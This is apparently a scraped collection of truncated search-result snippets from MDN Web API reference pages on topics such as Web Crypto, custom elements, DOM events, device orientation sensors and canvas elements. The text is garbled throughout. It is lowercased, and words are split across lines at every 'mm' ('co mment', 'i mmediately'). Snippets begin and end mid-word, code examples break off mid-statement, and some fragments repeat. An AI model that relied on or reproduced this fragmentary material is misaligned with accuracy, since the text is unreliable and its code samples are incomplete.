...redentials from a federated identity provider, which is an entity that a website trusts to correctly authenticate a user, and which provides an api for that purpose. openid connect is an example of such a framework. passwordcredential provides information about a username/password pair. publickeycredential provides a credential for logging in using an un-phishable and data-breach resistant asy
mmetric key pair instead of a password. specifications specification status co
mment credential management level 1 working draft initial definition. web authentication: an api for accessing public key credentials level 1 reco
mmendation initial definition. ...
Crypto - Web APIs
o a cryptographically strong random number generator and to cryptographic primitives. note: this feature is available in web workers. the web crypto api is accessed through the window.crypto property, which is a crypto object. properties this interface implements properties defined on randomsource. crypto.subtle read only secure context returns a subtlecrypto object providing access to co
mmon cryptographic primitives, like hashing, signing, encryption, or decryption. methods this interface implements methods defined on randomsource. crypto.getrandomvalues() fills the passed typedarray with cryptographically sound random values. usage notes you should avoid using the web crypto api on insecure contexts, even though the crypto interface is present on insecure contexts, as is...
...he web crypto api on insecure contexts, even though the crypto interface is present on insecure contexts, as is the window.crypto property. in addition, the crypto method getrandomvalues() is available on insecure contexts, but the subtle property is not. in general, you probably should just treat crypto as available only on secure contexts. specifications specification status co
mment web cryptography apithe definition of 'crypto' in that specification. reco
mmendation initial definition ...
CryptoKey - Web APIs
yptokey interface of the web crypto api represents a cryptographic key obtained from one of the subtlecrypto methods generatekey(), derivekey(), importkey(), or unwrapkey(). for security reasons, the cryptokey interface can only be used in a secure context. properties cryptokey.type string which may take one of the following values: "secret": this key is a secret key for use with a sy
mmetric algorithm. "private": this key is the private half of an asy
mmetric algorithm's cryptokeypair. "public": this key is the public half of an asy
mmetric algorithm's cryptokeypair. cryptokey.extractable boolean indicating whether or not the key may be extracted using subtlecrypto.exportkey() or subtlecrypto.wrapkey(). true: the key may be extracted. false the key may not be ex...
... examples the examples for subtlecrypto methods often use cryptokey objects. for example: subtlecrypto.generatekey() subtlecrypto.derivekey() subtlecrypto.importkey() subtlecrypto.exportkey() subtlecrypto.wrapkey() subtlecrypto.unwrapkey() subtlecrypto.encrypt() subtlecrypto.decrypt() subtlecrypto.sign() subtlecrypto.verify() specifications specification status co
mment web cryptography apithe definition of 'cryptokey' in that specification. reco
mmendation initial definition. ...
CryptoKeyPair - Web APIs
it contains two properties, which are both cryptokey objects: a privatekey property containing the private key and a publickey property containing the public key. properties cryptokey.privatekey a cryptokey object representing the private key. for encryption and decryption algorithms, this key is used to decrypt. ...
...examples the examples for subtlecrypto methods often use cryptokeypair objects. for example: subtlecrypto.generatekey() subtlecrypto.derivekey() subtlecrypto.importkey() subtlecrypto.exportkey() subtlecrypto.wrapkey() subtlecrypto.unwrapkey() subtlecrypto.encrypt() subtlecrypto.decrypt() subtlecrypto.sign() subtlecrypto.verify() specifications specification status co
mment web cryptography apithe definition of 'cryptokeypair' in that specification. reco
mmendation initial definition. ...
CustomElementRegistry.whenDefined() - Web APIs
the whendefined() method of the customelementregistry interface returns a promise that resolves when the named element is defined. syntax promise<> customelements.whendefined(name); parameters name custom element name. return value a promise that resolves to undefined when the custom element is defined. if the custom element is already defined, the promise is resolved i
mmediately. exceptions exception description syntaxerror if the provided name is not a valid custom element name, the promise rejects with a syntaxerror. examples this example uses whendefined() to detect when the custom elements that make up a menu are defined. the menu displays placeholder content until the actual menu content is ready to display. <nav id="menu-container">...
...t are not yet defined. const undefinedelements = container.queryselectorall(':not(:defined)'); const promises = [...undefinedelements].map( button => customelements.whendefined(button.localname) ); // wait for all the children to be upgraded, // then remove the placeholder. await promise.all(promises); container.removechild(placeholder); specifications specification status co
mment html living standardthe definition of 'customelements.whendefined()' in that specification. living standard initial definition. ...
CustomElementRegistry - Web APIs
he named custom element, or undefined if the custom element is not defined. customelementregistry.upgrade() upgrades a custom element directly, even before it is connected to its shadow root. customelementregistry.whendefined() returns an empty promise that resolves when a custom element becomes defined with the given name. if such a custom element is already defined, the returned promise is i
mmediately fulfilled. examples the following code is taken from our word-count-web-component example (see it live also). note how we use the customelementregistry.define() method to define the custom element after creating its class. // create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); /...
... living standard initial definition. ...
CustomEvent - Web APIs
h() returns the event’s path (objects on which listeners will be invoked). this does not include nodes in shadow trees if the shadow root was created with its shadowroot.mode closed. event.initevent() initializes the value of an event created. if the event has already been dispatched, this method does nothing. event.preventdefault() cancels the event (if it is cancelable). event.stopi
mmediatepropagation() for this particular event, prevent all other listeners from being called. this includes listeners attached to the same element as well as those attached to elements that will be traversed later (during the capture phase, for instance). event.stoppropagation() stops the propagation of events further along in the dom. obsolete methods event.getpreventdefault() non-stan...
...preventdefault() non-standard; use event.defaultprevented instead. (returns the value of event.defaultprevented.) event.preventbubble() obsolete since gecko 24 obsolete; use event.stoppropagation instead. (prevents the event from bubbling.) event.preventcapture() obsolete since gecko 24 obsolete; use event.stoppropagation instead. specifications specification status co
mment domthe definition of 'customevent' in that specification. living standard initial definition. ...
DOMException - Web APIs
s field is used for historical reasons. new dom exceptions don't use this anymore: they put this info in the domexception.name attribute. domexception.message read only returns a domstring representing a message or description associated with the given error name. domexception.name read only returns a domstring that contains one of the strings associated with an error name. error names co
mmon error names are listed here. some apis define their own sets of names, so this is not necessarily a complete list. note: because historically the errors were identified by a numeric value that corresponded with a named variable defined to have that value, some of the entries below indicate the legacy code value and constant name that were used in the past. indexsizeerror the index is not...
...o legacy code value and constant name). operationerror the operation failed for an operation-specific reason (no legacy code value and constant name). notallowederror the request is not allowed by the user agent or the platform in the current context, possibly because the user denied permission (no legacy code value and constant name). specifications specification status co
mment web idlthe definition of 'constructor' in that specification. candidate reco
mmendation adds the constructor for the domexception class. adds the notreadableerror, unknownerror, constrainterror, dataerror, transactioninactiveerror, readonlyerror, versionerror, operationerror, and notallowederror values. ...
DOMPoint.w - Web APIs
lds the point's perspective value, w, for a point in space. ...
...uble-precision floating-point value indicating the w perspective value for the point. ...
DOMPoint.x - Web APIs
o the left, barring any transforms that may have altered the orientation of the axes. ...
...int.x; value a double-precision floating-point value indicating the x coordinate's value for the point. ...
DOMPoint.y - Web APIs
ied to alter the orientation, the value of y increases downward and decreases upward. ...
...int.y; value a double-precision floating-point value indicating the y coordinate's value for the point. ...
DOMPoint.z - Web APIs
er from the screen, and negative values receding into the distance behind the screen. ...
...int.z; value a double-precision floating-point value indicating the z coordinate's value for the point. ...
DOMPointInit.w - Web APIs
nce, also available as dompoint.frompoint(). ...
...t that describes the same point as the original point. by inheritance, this method is also available as dompoint.tojson(). ...
DOMPointInit.y - Web APIs
, to specify the coordinates and perspective value of the new point to be created. ...
...ce, also available as dompoint.frompoint(). ...
DOMPointInit.z - Web APIs
le as dompoint.frompoint(). the dompointreadonly.tojson() method returns a dompointinit object that describes the same point as the original point. ...
...the same point as the original point. by inheritance, this method is also available as dompoint.tojson(). ...
DataTransferItem.getAsFile() - Web APIs
tring') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri console.log("... ...
...ch('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("... ...
DataTransferItem.getAsString() - Web APIs
tring') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri console.log("... ...
.../'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("... ...
DataTransferItem.type - Web APIs
tring') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri console.log("... ...
...[i].type.match('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("... ...
DedicatedWorkerGlobalScope - Web APIs
atedworkerglobalscope.postmessage() sends a message — which can consist of any javascript object — to the parent document that first spawned the worker. inherited from workerglobalscope workerglobalscope.dump() writes a message to the console. workerglobalscope.importscripts() imports one or more scripts into the worker's scope. you can specify as many as you'd like, separated by co
mmas. for example: importscripts('foo.js', 'bar.js'); implemented from other places windowbase64.atob() decodes a string of data which has been encoded using base-64 encoding. windowbase64.btoa() creates a base-64 encoded ascii string from a string of binary data. windowtimers.clearinterval() cancels the repeated execution set using windowtimers.setinterval(). windowtimers.cleartimeout() ...
...ery x milliseconds. windowtimers.settimeout() sets a delay for executing a function. events message fired when the worker receives a message from its parent. also available via the onmessage property. messageerror fired when a worker receives a message that can't be deserialized. also available via the onmessageerror property. specifications specification status co
mment html living standardthe definition of 'dedicatedworkerglobalscope' in that specification. living standard ...
DelayNode.delayTime - Web APIs
lay = audioctx.createdelay(5.0); mydelay.delaytime.value = 3.0; note: though the audioparam returned is read-only, the value it represents is not. value an audioparam. example we have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code). if you just press the play buttons, the loops will start i
mmediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ... var synthsource; playsynth.onclick = function() { synthsourc...
... working draft ...
DelayNode - Web APIs
only is an a-rate audioparam representing the amount of delay to apply, specified in seconds. methods no specific methods; inherits methods from its parent, audionode. example we have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code). if you just press the play buttons, the loops will start i
mmediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ... var synthsource; playsynth.onclick = function() { synthsourc...
... working draft ...
Using light sensors - Web APIs
} }); this example shows how the api can actually be used in the wild. ...
...it is usually beneficial to the user to change the ui to a darker color in a darker environment. ...
DeviceLightEvent.value - Web APIs
the value property provides the current level of the ambient light. ...
... the value property provides the current level of the ambient light. ...
DeviceMotionEvent.rotationRate - Web APIs
...
...vice around each of its axes: alpha the rate at which the device is rotating about its z axis; that is, being twisted about a line perpendicular to the screen. beta the rate at which the device is rotating about its x axis; that is, front to back. ga
mma the rate at which the device is rotating about its y axis; that is, side to side. specifications specification status co
mment deviceorientation event specification editor's draft initial definition. ...
DeviceMotionEvent - Web APIs
, y and z. acceleration is expressed in m/s2. devicemotionevent.accelerationincludinggravityread only an object giving the acceleration of the device on the three axis x, y and z with the effect of gravity. acceleration is expressed in m/s2. ...
...on axis alpha, beta and ga
mma. rotation rate is expressed in degrees per seconds. devicemotionevent.intervalread only a number representing the interval of time, in milliseconds, at which data is obtained from the device. example window.addeventlistener('devicemotion', function(event) { console.log(event.acceleration.x + ' m/s2'); }); specifications specification status co
mment deviceorientation event specificationthe definition of 'devicemotionevent' in that specification. editor's draft initial definition. ...
DeviceOrientationEvent.DeviceOrientationEvent() - Web APIs
hen options.absolute should be true. options optional options are as follows: alpha: a number representing the motion of the device around the z axis, express in degrees with values ranging from 0 to 360. beta: a number representing the motion of the device around the x axis, express in degrees with values ranging from -180 to 180. this represents a front to back motion of the device. ...
...s represents a front to back motion of the device. ga
mma: a number representing the motion of the device around the y axis, express in degrees with values ranging from -90 to 90. this represents a left to right motion of the device. absolute: a boolean that indicates whether or not the device is providing orientation data absolutely. specifications specification status co
mment deviceorientation event specification editor's draft initial definition. ...
DeviceOrientationEvent - Web APIs
eorientationevent.alpha read only a number representing the motion of the device around the z axis, express in degrees with values ranging from 0 to 360. deviceorientationevent.beta read only a number representing the motion of the device around the x axis, express in degrees with values ranging from -180 to 180. this represents a front to back motion of the device. deviceorientationevent.ga
mma read only a number representing the motion of the device around the y axis, express in degrees with values ranging from -90 to 90. this represents a left to right motion of the device. deviceorientationevent.webkitcompassheading read only a number represents the difference between the motion of the device around the z axis of the world system and the direction of the north, express in degr...
... of the world system and the direction of the north, express in degrees with values ranging from 0 to 360. deviceorientationevent.webkitcompassaccuracy read only the accuracy of the compass means that the deviation is positive or negative. it's usually 10. example window.addeventlistener('deviceorientation', function(event) { console.log(event.alpha + ' : ' + event.beta + ' : ' + event.ga
mma); }); specifications specification status co
mment deviceorientation event specification editor's draft initial specification. ...
DirectoryEntrySync - Web APIs
a. [ todo: explain why ] getfile() depending on how you've set the options parameter, the method either creates a file or looks up an existing file. void getfile ( in domstring path, in optional flags options ) raises (fileexception); parameter path either an absolute path or a relative path from the directory to the file to be looked up or created. you cannot create a file whose i
mmediate parent does not exist. create the parent directory first. options an object literal describing the behavior of the method. if the file does not exist, it is created. object literal condition result create: true exclusive: true path already exists an error is thrown. create: true exclusive: false path doesn't exist and no other error oc...
...it is not a directory. getdirectory() creates or looks up a directory. the method is similar to getfile() with directoryentrysync being passed. void getdirectory ( in domstring path, in optional flags options ) raises (fileexception); parameter path either an absolute path or a relative path from the directory to the file to be looked up or created. you cannot create a file whose i
mmediate parent does not exist. create the parent directory first. options an object literal describing the behavior of the method if the file does not exist. object literal condition result create: true exclusive: true path already exists an error is thrown. create: true exclusive: false path doesn't exist and no other error occurs a direct...
Document: DOMContentLoaded event - Web APIs
tml document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading. bubbles yes cancelable yes (although specified as a simple event that isn't cancelable) interface event event handler property none a different event, load, should be used only to detect a fully-loaded page. it is a co
mmon mistake to use load where domcontentloaded would be more appropriate. synchronous javascript pauses parsing of the dom. if you want the dom to get parsed as fast as possible after the user has requested the page, you can make your javascript asynchronous and optimize loading of stylesheets. if loaded as usual, stylesheets slow down dom parsing as they're loaded in parallel, "stealing" traffic ...
...nt) => { log.textcontent = log.textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status co
mment html living standardthe definition of 'domcontentloaded' in that specification. living standard html5the definition of 'domcontentloaded' in that specification. reco
mmendation ...
Document.createElement() - Web APIs
<ul> element. // create a class for the element class expandinglist extends htmlulistelement { constructor() { // always call super first in constructor super(); // constructor definition left out for brevity ... } } // define the new element customelements.define('expanding-list', expandinglist, { extends: "ul" }); if we wanted to create an instance of this element progra
mmatically, we'd use a call along the following lines: let expandinglist = document.createelement('ul', { is : 'expanding-list' }) the new element will be given an is attribute whose value is the custom element's tag name. note: for backwards compatibility with previous versions of the custom elements specification, some browsers will allow you to pass a string here instead of an object, where t...
...: 'expanding-list' }) the new element will be given an is attribute whose value is the custom element's tag name. note: for backwards compatibility with previous versions of the custom elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name. specifications specification status co
mment domthe definition of 'document.createelement' in that specification. living standard ...
Element.setAttributeNodeNS() - Web APIs
lement, then that attribute is replaced with the new one and the replaced one is returned. note that if you try to set without cloning the node, mozilla gives an ns_error_dom_inuse_attribute_err "attribute already in use" error, as the dom requires cloning for attr to be reused (unlike other nodes which can be moved). ...
... living standard ...
Element.setPointerCapture() - Web APIs
pointer eventsthe definition of 'setpointercapture' in that specification. obsolete initial definition. ...
... pointer eventsthe definition of 'setpointercapture' in that specification. obsolete initial definition. ...
ElementCSSInlineStyle - Web APIs
the elementcssinlinestyle mixin describes cssom-specific features co
mmon to the htmlelement, svgelement and mathmlelement interfaces. each of these interfaces can, of course, add more features in addition to the ones listed below. note: elementcssinlinestyle is a mixin and not an interface; you can't actually create an object of type elementcssinlinestyle. propertiesstylethe style property is used to get as well as set the inline style of an element. when getting, it returns a cssstyledeclaration object that contains a list of all styles properties for that element with values assigned for the attributes that are defined in the element's inline style attribute.methodsthis interface has no methods. ...
...pertiesstylethe style property is used to get as well as set the inline style of an element. when getting, it returns a cssstyledeclaration object that contains a list of all styles properties for that element with values assigned for the attributes that are defined in the element's inline style attribute.methodsthis interface has no methods. specifications specification status co
mment css object model (cssom)the definition of 'htmlorforeignelement' in that specification. working draft initial definition. ...
Event.explicitOriginalTarget - Web APIs
target before the retargeting occurs. for example, mouse events are retargeted to their parent node when they happen over text nodes (see bug 185889), and in that case currenttarget will show the parent and explicitoriginaltarget will show the text node. explicitoriginaltarget differs from originaltarget in that it will never contain anonymous content. ...
...etargeted to their parent node when they happen over text nodes (see bug 185889), and in that case currenttarget will show the parent and explicitoriginaltarget will show the text node. explicitoriginaltarget differs from originaltarget in that it will never contain anonymous content. example this property can be used with <co
mmand> to get the event details of the original object calling the co
mmand. function myco
mmand(ev) { alert(ev.explicitoriginaltarget.nodename); // returns 'menuitem' } <xul:co
mmand id="my-cmd-anaction" onco
mmand="myco
mmand(event);"/> <xul:menulist> <xul:menupopup> <xul:menuitem label="get my element name!" co
mmand="my-cmd-anaction"/> </xul:menupopup> </menulist> specifications this is a mozilla-specific property. defined in /dom/public/idl/events/nsido...
Event.preventDefault() - Web APIs
the event interface's preventdefault() method tells the user agent that if the event does not get explicitly handled, its default action should not be taken as it normally would be. the event continues to propagate as usual, unless one of its event listeners calls stoppropagation() or stopi
mmediatepropagation(), either of which terminates propagation at once. as noted below, calling preventdefault() for a non-cancelable event, such as one dispatched via eventtarget.dispatchevent(), without specifying cancelable: true has no effect. syntax event.preventdefault(); examples blocking default click handling toggling a checkbox is the default action of clicking on a checkbox. this example demonstrates how to prevent that from happening: javascript document.queryselector("#id-checkbox").a...
...000); } result notes calling preventdefault() during any stage of event flow cancels the event, meaning that any default action normally taken by the implementation as a result of the event will not occur. you can use event.cancelable to check if the event is cancelable. calling preventdefault() for a non-cancelable event has no effect. specifications specification status co
mment domthe definition of 'event.preventdefault()' in that specification. living standard document object model (dom) level 2 events specificationthe definition of 'event.preventdefault()' in that specification. obsolete initial definition. ...
Event.returnValue - Web APIs
rnvalue; value a boolean value which is true if the event has not been canceled; otherwise, if the event has been canceled or the default has been prevented, the value is false. the value returned by returnvalue is the opposite of the value returned by defaultprevented. ...
... and due to that browser's ubiquity became so co
mmonly used that other browsers eventually implemented it as well. it has been adopted into the dom specification, primarily to ensure that existing web content continues to function going forward. new projects should generally avoid using returnvalue, although they may if they choose to do so. specifications specification status co
mment domthe definition of 'returnvalue' in that specification. living standard added for legacy compatibility. ...
Event.type - Web APIs
for a list of available event types, see the event reference. syntax let eventtype = event.type; value a domstring containing the type of event. example this example logs the event type whenever you press a keyboard key or click a mouse button. ...
... living standard document object model (dom) level 2 events specificationthe definition of 'event.type' in that specification. obsolete initial definition. ...
EventTarget - Web APIs
for example xmlhttprequest, audionode, audiocontext, and others. many event targets (including elements, documents, and windows) also support setting event handlers via onevent properties and attributes. ...
... living standard no change. document object model (dom) level 3 events specificationthe definition of 'eventtarget' in that specification. obsolete a few parameters are now optional (listener), or accepts the null value (usecapture). document object model (dom) level 2 events specificationthe de...
FetchEvent.replacesClientId - Web APIs
g a page navigation. for example, when navigating from page a to page b replacesclientid is the id of the client associated with page a. it can be an empty string when navigating from about:blank to another page, as about:blank's client will be reused, rather than be replaced. additionally, if the fetch isn't a navigation, replacesclientid will be an empty string. ...
...when navigating from page a to page b replacesclientid is the id of the client associated with page a. it can be an empty string when navigating from about:blank to another page, as about:blank's client will be reused, rather than be replaced. additionally, if the fetch isn't a navigation, replacesclientid will be an empty string. this could be used to access/co
mmunicate with a client that will i
mminently be replaced, right before a navigation. syntax var myreplacedclientid = fetchevent.replacesclientid; value a domstring. example self.addeventlistener('fetch', function(event) { console.log(event.replacesclientid); }); specifications specification status co
mment service workersthe definition of 'replacesclientid' in that specification. working draft i...
File.type - Web APIs
[i].name; var type = files[i].type; alert("filename: " + name + " , type: " + type); } } note: based on the current implementation, browsers won't actually read the bytestream of a file to determine its media type. it is assumed based on the file extension; a png image file renamed to .txt would give "text/plain" and not "image/png". ...
...ame + " , type: " + type); } } note: based on the current implementation, browsers won't actually read the bytestream of a file to determine its media type. it is assumed based on the file extension; a png image file renamed to .txt would give "text/plain" and not "image/png". moreover, file.type is generally reliable only for co
mmon file types like images, html documents, audio and video. unco
mmon file extensions would return an empty string. client configuration (for instance, the windows registry) may result in unexpected values even for co
mmon types. developers are advised not to rely on this property as a sole validation scheme. specifications specification status co
mment file apithe definition of 'type' in that specification. working draft initial...
FileReader.readAsBinaryString() - Web APIs
to start reading the contents of the specified blob or file. when the read operation is finished, the readystate becomes done, and the loadend is triggered. at that time, the result attribute contains the raw binary data from the file. note that this method was once removed from the file api specification, but re-introduced for backward compatibility. using filereader.readasarraybuffer() is reco
mmended. syntax instanceoffilereader.readasbinarystring(blob); parameters blob the blob or file from which to read. example var canvas = document.createelement('canvas'); var height = 200; var width = 200; canvas.width = width; canvas.height = height; var ctx = canvas.getcontext('2d'); ctx.strokestyle = '#090'; ctx.beginpath(); ctx.arc(width/2, height/2, width/2 - width/10, 0, math.pi...
... working draft ...
FileRequest - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. su
mmary the filerequest interface extends the domrequest interface to provide some extra properties necessary for the lockedfile objects. properties filerequest.lockedfile read only the lockedfile object from which the request was started. filerequest.onprogress a callback handler called repeatedly while the operation represented by the filerequest is in progress. the filerequest interface also inherits from the domrequest interface. methods none. specifications specification sta...
...ockedfile objects. properties filerequest.lockedfile read only the lockedfile object from which the request was started. filerequest.onprogress a callback handler called repeatedly while the operation represented by the filerequest is in progress. the filerequest interface also inherits from the domrequest interface. methods none. specifications specification status co
mment filesystem api editor's draft draft proposal. ...
FileSystemDirectoryEntry.removeRecursively() - Web APIs
ox for androidopera for androidsafari on iossamsung internetremoverecursively deprecatednon-standardchrome full support 8edge full support 79firefox no support 50 — 52notes no support 50 — 52notes notes while the removerecursively() method existed, it i
mmediately called the error callback with ns_error_dom_security_err.ie no support noopera no support nosafari no support nowebview android full support ≤37chrome android full support ...
... nosafari no support nowebview android full support ≤37chrome android full support 18firefox android no support 50 — 52notes no support 50 — 52notes notes while the removerecursively() method existed, it i
mmediately called the error callback with ns_error_dom_security_err.opera android no support nosafari ios no support nosamsung internet android full support yeslegend full support full support ...
GlobalEventHandlers.ontouchend - Web APIs
this attribute is not widely implemented. syntax var endhandler = targetelement.ontouchend; return value endhandler the touchend event handler for element targetelement. example this example shows two ways to use ontouchend to set an element's touchend event handler. ...
...nt's touchend event handler. <html> <script> function endtouch(ev) { // process the event } function init() { var el=document.getelementbyid("target1"); el.ontouchend = endtouch; } </script> <body onload="init();"> <div id="target1"> touch me ... </div> <div id="target2" ontouchend="endtouch(event)"> touch me ... </div> </body> </html> specifications specification status co
mment touch events – level 2 draft non-stable version. ...
GlobalEventHandlers.ontouchmove - Web APIs
this attribute is not widely implemented. syntax var movehandler = someelement.ontouchmove; return value movehandler the touchmove event handler for element someelement. example this example shows two ways to use ontouchmove to set an element's touchmove event handler. ...
...ndler. <html> <head> <script> function movetouch(ev) { // process the event } function init() { var el=document.getelementbyid("target1"); el.ontouchmove = movetouch; } </script> </head> <body onload="init();"> <div id="target1"> touch me ... </div> <div id="target2" ontouchmove="movetouch(event)"> touch me ... </div> </body> </html> specifications specification status co
mment touch events – level 2 draft non-stable version. ...
GlobalEventHandlers.ontouchstart - Web APIs
this attribute is not widely implemented. syntax var starthandler = someelement.ontouchstart; return value starthandler the touchstart event handler for element someelement. ...
...t handler. <html> <script> function starttouch(ev) { // process the event } function init() { let el = document.getelementbyid('target1'); el.ontouchstart = starttouch; } </script> <body onload="init();"> <div id="target1"> touch me ... </div> <div id="target2" ontouchstart="starttouch(event)"> touch me ... </div> </body> </html> specifications specification status co
mment touch events – level 2 draft non-stable version. ...
Gyroscope.x - Web APIs
urs sixty times a second. ...
...scope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status co
mment generic sensor api candidate reco
mmendation defines sensors in general. gyroscopethe definition of 'x' in that specification. candidate reco
mmendation ...
Gyroscope.y - Web APIs
urs sixty times a second. ...
...scope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status co
mment generic sensor api candidate reco
mmendation defines sensors in general. gyroscopethe definition of 'y' in that specification. candidate reco
mmendation ...
Gyroscope.z - Web APIs
urs sixty times a second. ...
...scope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status co
mment generic sensor api candidate reco
mmendation defines sensors in general. gyroscopethe definition of 'z' in that specification. candidate reco
mmendation ...
HTMLAreaElement - Web APIs
ontaining the username specified before the domain name. methods inherits methods from its parent, htmlelement, and implements those from htmlhyperlinkelementutils. htmlhyperlinkelementutils.tostring() returns a usvstring containing the whole url of the script executed in the worker. it is a synonym for htmlhyperlinkelementutils.href. specifications specification status co
mment html living standardthe definition of 'htmlareaelement' in that specification. living standard the following property has been added: download. technically, the url-related properties, media, host, hostname, pathname, port, protocol, search, and hash, have been moving to the htmlhyperlinkelementutils mixin, and htmlareaelement implements this mixin. html5the definit...
...lareaelement' in that specification. living standard the following property has been added: download. technically, the url-related properties, media, host, hostname, pathname, port, protocol, search, and hash, have been moving to the htmlhyperlinkelementutils mixin, and htmlareaelement implements this mixin. html5the definition of 'htmlareaelement' in that specification. reco
mmendation technically, the properties tabindex and accesskey are now defined on htmlelement. the following property is now obsolete: nohref. the following properties have been added: rel, rellist, media, hreflang, type, host, hostname, pathname, port, protocol, search, and hash. document object model (dom) level 2 html specificationthe definition of 'htmlareaelement' in that spe...
msAudioDeviceType - Web APIs
here may also be large incompatibilities between implementations and the behavior may change in the future. the msaudiodevicetype property of the html <audio> element, is a read/write proprietary attribute, specific to internet explorer and microsoft edge. msaudiodevicetype specifies the output device id that the audio will be sent to. syntax <audio src="sound.mp3" msaudiodevicetype="co
mmunications" /> by default, audio on your system will output to your default speakers and be considered a foreground element, meaning that the audio will play only when the element is active in the app. for real-time co
mmunications, you can use the msaudiodevicetype property with the value console, multimedia, or co
mmunications to specify where the current audio should output. value include a...
...a, or co
mmunications to specify where the current audio should output. value include a description of the property's value, including data type and what it represents. value description console specifies that the audio output will be sent to the console device. multimedia specifies that the audio output will be sent to the multimedia device. co
mmunications specifies that the audio output will be sent to the co
mmunications device. see also microsoft api extensions ...
HTMLBRElement - Web APIs
ne="middle">htmlbrelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlbrelement.clear is a domstring indicating the flow of text around floating objects. ...
... indicating the flow of text around floating objects. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status co
mment html living standardthe definition of 'htmlbrelement' in that specification. ...
HTMLBodyElement - Web APIs
event is raised. windoweventhandlers.onunhandledrejection an eventhandler representing the code executed when the unhandledrejection event is raised, indicating that a promise was rejected but the rejection was not handled. windoweventhandlers.onunload is an eventhandler representing the code to be called when the unload event is raised. specifications specification status co
mment html living standardthe definition of 'htmlbodyelement' in that specification. living standard technically, the event-related properties onafterprint, onbeforeprint, onbeforeunload, onblur, onerror, onfocus, onhashchange, onlanguagechange, onload, onmessage, onoffline, ononline, onpopstate, onresize, onstorage, and onunload, have been moved to windoweventhandlers. htmlbodyelemen...
... technically, the event-related properties onafterprint, onbeforeprint, onbeforeunload, onblur, onerror, onfocus, onhashchange, onlanguagechange, onload, onmessage, onoffline, ononline, onpopstate, onresize, onstorage, and onunload, have been moved to windoweventhandlers. htmlbodyelement implements this interface. html 5.1the definition of 'htmlbodyelement' in that specification. reco
mmendation html5the definition of 'htmlbodyelement' in that specification. reco
mmendation the following properties are now obsolete: alink, bgcolor, background, link, text, and vlink. the following properties have been added: onafterprint, onbeforeprint, onbeforeunload, onblur, onerror, onfocus, onhashchange, onload, onmessage, onoffline, ononline, onpopstate, onresize, onstor...
HTMLCanvasElement.getContext() - Web APIs
nt: <canvas id="canvas" width="300" height="300"></canvas> you can get a 2d context of the canvas with the following code: var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); console.log(ctx); // canvasrenderingcontext2d { ... } now you have the 2d rendering context for a canvas and you can draw within it. ...
...w you have the 2d rendering context for a canvas and you can draw within it. specifications specification status co
mment html living standardthe definition of 'htmlcanvaselement.getcontext' in that specification. living standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.getcontext' in that specification. reco
mmendation html5the definition of 'htmlcanvaselement.getcontext' in that specification. reco
mmendation snapshot of the html living standard containing the initial definition. ...
HTMLCanvasElement.height - Web APIs
idth, that controls the size of the canvas. ...
... var canvas = document.getelementbyid('canvas'); console.log(canvas.height); // 300 specifications specification status co
mment html living standardthe definition of 'htmlcanvaselement.height' in that specification. living standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.height' in that specification. reco
mmendation html5the definition of 'htmlcanvaselement.height' in that specification. reco
mmendation snapshot of the html living standard containing the initial definition. ...
HTMLCanvasElement.width - Web APIs
t.height, that controls the size of the canvas. ...
...e: var canvas = document.getelementbyid('canvas'); console.log(canvas.width); // 300 specifications specification status co
mment html living standardthe definition of 'htmlcanvaselement.width' in that specification. living standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.width' in that specification. reco
mmendation html5the definition of 'htmlcanvaselement.width' in that specification. reco
mmendation snapshot of the html living standard containing the initial definition. ...
HTMLDataElement.value - Web APIs
the value property of the htmldataelement interface returns a domstring reflecting the value html attribute. syntax var avalue = htmldataelement.value htmldataelement.value = avalue value a domstring. ...
...turns a domstring reflecting the value html attribute. syntax var avalue = htmldataelement.value htmldataelement.value = avalue value a domstring. ...
HTMLDataElement - Web APIs
/div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. ...
...ttribute, containing a machine-readable form of the element's value. methods no specific method; inherits methods from its parent, htmlelement. ...
HTMLDialogElement.open - Web APIs
